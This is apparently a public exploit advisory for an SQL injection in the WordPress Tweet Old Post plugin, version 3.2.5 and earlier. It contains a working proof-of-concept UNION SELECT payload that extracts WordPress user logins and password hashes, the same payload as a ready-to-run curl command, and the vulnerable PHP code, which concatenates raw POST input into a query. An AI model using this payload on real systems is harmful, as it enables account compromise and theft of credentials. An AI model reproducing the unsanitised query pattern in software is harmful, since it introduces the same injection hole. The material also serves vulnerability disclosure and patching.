# Exploit Title: WordPress Tweet Old Post plugin <= 3.2.5 SQL Injection
Vulnerability
# Date: 2011-09-05
# Author: sherl0ck_ < sherl0ck_ [at] alligatorteam [dot] org >
# Software Link: http://downloads.wordpress.org/plugin/tweet-old-post.zip
# Version: 3.2.5 (tested)

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PoC (POST data)
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URL:
http://localhost/wordpress/wp-admin/admin.php?page=ExcludePosts

POST Data:
delids=1&selFilter=excluded&cat=1=0) UNION ALL SELECT
USER(),concat(user_login,char(58),user_pass),DATABASE(),@@version,null from
wp_users#&setFilter=Filter&s=hello&chkbx=1

e.g.:
curl --cookie "[COOKIE]" --data "delids=1&selFilter=excluded&cat=1) UNION
ALL SELECT
USER(),concat(user_login,char(58),user_pass),DATABASE(),@@version,null from
wp_users#&setFilter=Filter&s=hello&chkbx=1"
http://localhost/wordpress/wp-admin/admin.php?page=ExcludePosts

---------------
Vulnerable code
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70     if(isset($_POST["setFilter"]))
71     {
72         if($_POST["cat"] != 0)
73         {
74             $sql = $sql . " and p.ID IN ( SELECT tr.object_id FROM
".$wpdb->prefix."term_relationships AS tr INNER JOIN
".$wpdb->prefix."term_taxonomy AS tt ON tr.term_taxonomy_id = tt.ter
 m_taxonomy_id WHERE tt.taxonomy = 'category' AND tt.term_id=" .
$_POST["cat"] . ")";
75             $cat_filter = $_POST["cat"];